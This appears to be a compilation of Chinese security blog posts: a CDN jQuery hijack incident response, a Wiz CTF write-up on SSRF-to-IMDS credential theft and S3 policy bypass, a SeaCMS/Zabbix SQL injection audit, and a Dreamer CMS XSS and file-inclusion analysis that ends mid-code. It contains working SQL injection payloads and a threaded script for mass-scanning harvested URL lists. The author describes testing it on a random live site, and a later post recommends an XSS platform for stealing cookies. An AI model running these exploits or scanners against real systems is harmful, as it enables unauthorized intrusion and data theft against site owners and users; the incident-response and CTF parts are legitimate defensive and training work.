一次暗链应急响应
0x01前言
一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下:
在打开特定页面才会触发;
在特定页面也无法准确复现,尝试好一会才能复现两次;
前场同事使用的是iOS,然后其他人使用Android也可以复现;
我使用浏览器和微信浏览器打开,难以复现;
在对应服务器上未找到其音频文件;
目前使用特定运营商网络可以复现;
0x02分析
在获取目前这些信息后,有几个猜想思路:
在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放;
接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。
但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接:
突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求:
果然。在burp里面发现了奇怪的mp4文件链接。
可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。
那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。
0x03溯源
由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看:
成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。
那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。
最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题:
图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。
这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接:
访问jsjiami.com,尝试解密:
结果不可逆!!!
后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊!
虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。
0x04结尾
该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景
经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。
但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。
`You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
{"status":"UP"}
解决过程
Spring Boot Actuator 泄露
首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env
尝试列出
user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
不行,没有权限,所以我们必须去寻找凭证
我第一想法就是元数据
但是没有反应
curl http://169.254.169.254/latest/meta-data
估计这个 shell 不是一个 EC2 的
然后就是寻找凭据了,可以使用一些工具,比如 truffleHog
然后简单找了一下
user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock
er} 'Secret Access Key' /
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json: "documentation":"<p>The secret access key of a connection.</p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json: "documentation":"<p>The secret access key of the environment credentials.</p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json: "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json: "documentation":"<p> The Secret Access Key portion of the credentials. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json: "documentation":"<p> The Secret Access Key portion of the credentials. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json: "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json: "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si
找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了
然后去批量爆破一波查看是否有可利用的信息
然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由
这个应该就是拿来访问元数据的了
元数据绕过
一般都有 ssrf 漏洞
user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/
HTTP error: 401 Unauthorized
可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2
我们首先获取 token,使用 PUT 请求
user@monthly-challenge:/$ curl -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token"
AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==
可以看到获取到了 Token,我们尝试使用 token 来访问元数据
user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system
可以了,我们访问凭证信息
user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
challenge01-5592368
然后使用它的凭证
user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368"
{
"Code" : "Success",
"LastUpdated" : "2025-07-10T13:26:52Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIARK***WELX36",
"SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",
"Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F
"Expiration" : "2025-07-10T19:47:29Z"
}
有了这些我们就可以配置了首先我们进行配置
root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01
root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01
root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc
之后我们就会有这个用户的权限了
目标文件位置获取
我们首先查一下这个用户有的 bucket 的权限
首先获取当前用户信息
root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01
{
"UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
"Account": "092297851374",
"Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}
然后我们查看对应的策略
root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \
--policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \
--action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \
--profile challenge01
An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/
root@hcss-ecs-0d0e:~#
可惜这个用户没有权限,我们直接列
root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01
An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action
没有列出桶的权限,不过我们知道桶的名称
root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01
2025-06-19 01:15:24 29 hello.txt
2025-06-17 06:01:49 51 private/flag.txt
读取文件绕过
尝试读取的时候可惜
root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden
没有读的权限
我们还是得查查存储桶的策略
root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01
{
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}"
}
限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝
怎么办呢
聪明的 GPT 给出了答案
也让我想起了 proxy
root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon
aws.com/challenge01-470f711/private/flag.txt"
HTTP error: 403 Forbiddenroot
但是结果是还是被阻止了
这里可能 proxy 不在 VPC,不过我们可以验证一下
但是刚刚都读取成功了,大概率是在的
没办法,只能寻找好朋友的帮助了
首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的
参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html
默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。
我们需要使用预签名
https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容:
一个 Amazon S3 存储桶
对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名)
HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等)
过期时间间隔
按照这个我们直接运行命令生成如下的签名
root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600
https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky
然后我们带着这个签名
但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问
root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63%
The flag is: ********
成功
总结
总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的
获取桶名称->
不能匿名访问->获取配置信息-
元数据
不能直接访问-走代理
mapping 泄露 proxy
元数据绕过 IMDSv2 安全机制
获取用户信息,查看权限
列取文件位置
vpc 限制,来联想 proxy
403,考虑预签名 URL 授予
行云流水
浅谈代码审计+漏洞批量一把梭哈思路
前言
最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。
工具介绍
项目地址
https://github.com/W01fh4cker/Serein【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。
具体使用方法下面会介绍
漏洞样本
本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的
这里给出审计的过程
/js/player/dmplayer/dmku/index.php 未授权 sql 注入
这个相比于上一个来说是危害更大,因为不需要登录 admin 用户
确实是 sleep 了,说明漏洞存在,我们看到代码
if ($_GET['ac'] == "edit") {
$cid = $_POST['cid'] ?: showmessage(-1, null);
$data = $d->编辑弹幕($cid) ?: succeedmsg(0, '完成');
exit;
}
我们跟进编辑弹幕方法
一路来到
public static function 编辑_弹幕($cid)
{
try {
global $_config;
$text = $_POST['text'];
$color = $_POST['color'];
$conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
$sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";
$result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";
$conn->query($sql);
$conn->query($result);
} catch (PDOException $e) {
showmessage(-1, '数据库错误:' . $e->getMessage());
}
}
这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤
所以导致 sql 注入
还有我们看到当 ac=del,type=list 的时候
else if ($_GET['ac'] == "del") {
$id = $_GET['id'] ?: succeedmsg(-1, null);
$type = $_GET['type'] ?: succeedmsg(-1, null);
$data = $d->删除弹幕($id) ?: succeedmsg(0, []);
succeedmsg(23, true);
进入删除弹幕($id)
public function 删除弹幕($id)
{
//sql::插入_弹幕($data);
sql::删除_弹幕数据($id);
}
进入 sql::删除_弹幕数据($id);
public static function 删除_弹幕数据($id)
{
try {
global $_config;
$conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
$conn->set_charset('utf8');
if ($_GET['type'] == "list") {
$sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
$result = "DELETE FROM sea_danmaku_list WHERE cid={$id}";
$conn->query($sql);
$conn->query($result);
} else if ($_GET['type'] == "report") {
$sql = "DELETE FROM sea_danmaku_report WHERE cid={$id}";
$conn->query($sql);
}
} catch (PDOException $e) {
showmessage(-1, '数据库错误:' . $e->getMessage());
}
}
我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询
漏洞验证
POC
GET /js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP/1.1
Host: seacms:8181
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://seacms:8181/js/player/dmplayer/dmku/index.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM
Connection: keep-alive
效果如图,可以发现确实延迟了 6 秒
工具利用过程
首先就是看工具的逻辑是如何添加漏洞的
首先看主文件
代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下
需要你进入工具的时候配置邮箱和 key
def fofa_saveit_first():
email = fofa_text1.get()
key = fofa_text2.get()
with open("fofa配置.conf","a+") as f:
f.write(f"[data]\nemail={email}\nkey={key}")
f.close()
showinfo("保存成功!","请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!")
text3.insert(END,f"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\n")
text3.see(END)
fofa_info.destroy()
def fofa_saveit_twice():
global email_r,key_r
if not os.path.exists("fofa配置.conf"):
fofa_saveit_first()
else:
email_r = getFofaConfig("data", "email")
key_r = getFofaConfig("data", "key")
def fofa_info():
global fofa_info,fofa_text1,fofa_text2,fofa_text3
fofa_info = tk.Tk()
fofa_info.title("fofa配置")
fofa_info.geometry('230x100')
fofa_info.resizable(0, 0)
fofa_info.iconbitmap('logo.ico')
fofa_email = tk.StringVar(fofa_info,value="填注册fofa的email")
fofa_text1 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_email)
fofa_text1.grid(row=0, column=1, padx=5, pady=5)
fofa_key = tk.StringVar(fofa_info,value="填email对应的key")
fofa_text2 = ttk.Entry(fofa_info, bootstyle="success", width=30, textvariable=fofa_key)
fofa_text2.grid(row=1, column=1, padx=5, pady=5)
button1 = ttk.Button(fofa_info, text="点击保存", command=fofa_saveit_twice, width=30, bootstyle="info")
button1.grid(row=2, column=1, padx=5, pady=5)
fofa_info.mainloop()
使用 fofa 的处理流程
后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能
然后下面是脚本调用逻辑
因为一个漏洞是需要你自己写一个 python 脚本的
然后加入你自己自定义的漏洞是在
这个逻辑应该很好理解,比如我的就是
button50 = ttk.Button(group3,text="seacms前台sql注入",command=sql_injection_gui,width=45,bootstyle="primary")
button50.grid(row=15,column=2,columnspan=2,padx=5,pady=5)
然后就是写对应的利用脚本了
因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的
工具自带了许许多多的利用脚本,我们看一下如何仿写
比如 zabbix_sql.py
import requests
import tkinter as tk
from tkinter import scrolledtext
from concurrent.futures import ThreadPoolExecutor
from ttkbootstrap.constants import *
"""
Zabbix ‘popup.php’SQL注入漏洞
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201112-017
Zabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。
"""
def zabbix_sql_exp(url):
poc = r"""popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23"""
target_url = url + poc
status_str = ['Administrator', 'User']
try:
res = requests.get(url, Verify=False,timeout=3)
if res.status_code == 200:
target_url_payload = f"{target_url}"
res = requests.get(url=target_url_payload,Verify=False)
if res.status_code == 200:
for i in range(len(status_str)):
if status_str[i] in res.text:
zabbix_sql.insert(END,"【*】存在漏洞的url:" + url + "\n")
zabbix_sql.see(END)
with open ("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:
f.write(url + "\n")
else:
target_url = url + '/zabbix/' + poc
res = requests.get(url=target_url,verify=False)
for i in range(len(status_str)):
if status_str[i] in res.text:
zabbix_sql.insert(END, "【*】存在漏洞的url:" + url + "\n")
zabbix_sql.see(END)
with open("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:
f.write(url + "\n")
else:
zabbix_sql.insert(END, "【×】不存在漏洞的url:" + url + "\n")
zabbix_sql.see(END)
except Exception as err:
zabbix_sql.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n")
zabbix_sql.see(END)
def get_zabbix_addr():
with open("url.txt","r") as f:
for address in f.readlines():
address = address.strip()
yield address
def zabbix_sql_gui():
zabbix_sql_poc = tk.Tk()
zabbix_sql_poc.geometry("910x450")
zabbix_sql_poc.title("Zabbix—SQL注入 漏洞一把梭")
zabbix_sql_poc.resizable(0, 0)
zabbix_sql_poc.iconbitmap('logo.ico')
global zabbix_sql
zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)
zabbix_sql.grid(row=0, column=0, padx=10, pady=10)
zabbix_sql.see(END)
addrs = get_zabbix_addr()
max_thread_num = 30
executor = ThreadPoolExecutor(max_workers=max_thread_num)
for addr in addrs:
future = executor.submit(zabbix_sql_exp, addr)
zabbix_sql_poc.mainloop()
大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块
因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下
import requests
import time
import tkinter as tk
from tkinter import scrolledtext
from concurrent.futures import ThreadPoolExecutor
from ttkbootstrap.constants import *
# 执行SQL注入检测的函数
def sql_injection_exp(url):
target = url + "/js/player/dmplayer/dmku/index.php?ac=edit"
data = {
"cid": "(select(1)from(select(sleep(6)))x)",
"text": "1",
"color": "1"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
start_time = time.time()
try:
response = requests.post(target, data=data, headers=headers, timeout=10)
elapsed_time = time.time() - start_time
if elapsed_time > 5:
output_text.insert(END, f"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")
output_text.see(END)
with open("找到sql注入的url.txt", 'a') as f:
f.write(url + "\n")
else:
output_text.insert(END, f"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")
output_text.see(END)
except requests.exceptions.RequestException as err:
output_text.insert(END, f"【×】目标请求失败:{target},错误内容:{err}\n")
output_text.see(END)
# 获取URL地址的生成器
def get_urls():
with open('url.txt', 'r') as file:
for line in file.readlines():
yield line.strip()
# GUI界面
def sql_injection_gui():
root = tk.Tk()
root.geometry("910x450")
root.title("seacms前台sql注入")
root.resizable(0, 0)
global output_text
output_text = scrolledtext.ScrolledText(root, width=123, height=25)
output_text.grid(row=0, column=0, padx=10, pady=10)
urls = get_urls()
max_threads = 30 # 并发线程数
executor = ThreadPoolExecutor(max_workers=max_threads)
for url in urls:
future = executor.submit(sql_injection_exp, url)
root.mainloop()
然后添加好模块
可以看见是添加成功了的
实战演示
首先就是搜集 url 了,配置好了之后只需要
因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了
然后来到你需要利用的板块
利用的效果
然后我们可以随便找个网址验证一下
进入网址效果如下,说明网址还在正常使用的
然后测试漏洞
可以看见漏洞是存在的
然后就是查权重了
这个可以一把梭哈的
精准定位文件包含漏洞:代码审计中的实战思维
前言
最近看到由有分析梦想 CMS 的,然后也去搭建了一个环境看了一看,发现了一个文件包含漏洞的点,很有意思,下面是详细的复现和分析,以后代码审计又多了一中挖掘文件包含漏洞的新思路。
环境搭建
下载https://gitee.com/iteachyou/dreamer_cms
然后各种配置都可以看到
JDK:Jdk8IDE:Spring Tool Suite 4(STS)或 IntelliJ IDEA
DB:Mysql 5.7,Windows配置安装Mysql5.7,请参考:
https://www.iteachyou.cc/article/a1db138b4a89402ab50f3499edeb30c2Redis:3.2+,Windows配置安装Redis教程,请参考:
https://www.iteachyou.cc/article/4b0a638f65fa4fb1b9644cf461dba602修改一下配置文件中的 resource-path 和 mysql 的连接
漏洞寻找过程
进入后台后发现可以编辑模板文件
然后这时候我们就需要注意常见的可以触发漏洞的点了
首先就是 xss
加入我们的 xss 代码
然后访问首页
成功 xss,当然我们真实使用的话可以利用我们的 xss 平台
这里推荐与一个
https://xssaq.com/点击配置代码后会有很多 payload,随便复制一个
这里我们简单弹个 cookie
xss 的话还是国外使用比较多
当然这样并不能达到我们 getshell 的目的
漏洞深入利用
这里就不得不提到我们的一些标签了
一般常见的我们可以尝试 include 标签
这里我们先复现一下
这个标签是 cms 的专属的标签
然后我们根据目录关系创建一个文件尝试一下
然后我们访问首页
可以看到成功了
调试分析
我们调试分析一下,抓个包看看路由
定位到代码
@Log(operType = OperatorType.UPDATE, module = "模板管理", content = "修改模板")
@PostMapping("save")
@RequiresPermissions("5n6ta53y")
public String save(TemplateVo template) throws IOException, CmsException {
String fileName = template.getPath() + File.separator + template.getFile();
File templateFile = new File(fileName);
/**
* 查询当前模版目录,判断是否为模版目录,如不是,则报错
*/
Theme currentTheme = themeService.getCurrentTheme();
String resourceDir = fileConfiguration.getResourceDir();
String themePath = resourceDir + File.separator + "templates" + File.separator + currentTheme.getThemePath() + File.separator;
themePath = themePath.replaceAll("\\*", "/");
File themeDir = new File(themePath);
// 检查当前编辑文件是否有权限
if(!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())) {
throw new TemplatePermissionDeniedException(StateCodeEnum.HTTP_FORBIDDEN.getCode(), StateCodeEnum.HTTP_FORBIDDEN.getDescription(), "您没有操作权限!");
}
if(!templateFile.exists()) {
throw new TemplateNotFoundException(StateCodeEnum.HTTP_NOTFOUND.getCode(), StateCodeEnum.HTTP_NOTFOUND.getDescription(), "模板文件不存在!");
}
String filePath = template.getPath() + File.separator + template.getFile();
filePath = filePath.replaceAll("\\*", "/");
File file = new File(filePath);
FileUtils.writeStringToFile(file, template.getContent(), "UTF-8");
return "redirect:/admin/templates/toIndex";
}
这里就是就简单的写一下模板,然后重点关注解析的部分
这里有各种各样的标签
看到我们的 Include 标签
@Tag(beginTag="{dreamer-cms:include /}",endTag="{/dreamer-cms:include}",regexp="(\\{dreamer-cms:include[ \\t]+.*/\\})|(\\{dreamer-cms:include[ \\t]+.*\\}\\{/dreamer-cms:include\\})", attributes={
@Attribute(name = "file",regex = "[ \t]+file=[\"\'].*?[\"\']"),
})
格式
我们看一下解析过程
首先是解析我们的模板
识别我们的模板内容后开始解析各种标签,然后是我们的 include
public String parse(String html) {
Tag annotations = IncludeTag.class.getAnnotation(Tag.class);
Attribute[] attributes = annotations.attributes();
List<String> all = RegexUtil.parseAll(html, annotations.regexp(), 0);
if(StringUtil.isBlank(all)) {
return html;
}
String newHtml = html;
String resourceDir = fileConfiguration.getResourceDir() + "templates/";
Theme currentTheme = themeService.getCurrentTheme();
String templatePath = currentTheme.getThemePath() + "/";
String basePath = resourceDir + templatePath;
for (int i = 0; i < all.size(); i++) {
Map<String,Object> entity = new HashMap<String,Object>();
String includeTag = all.get(i);
for (Attribute attribute : attributes) {
String condition = RegexUtil.parseFirst(includeTag, attribute.regex(), 0);
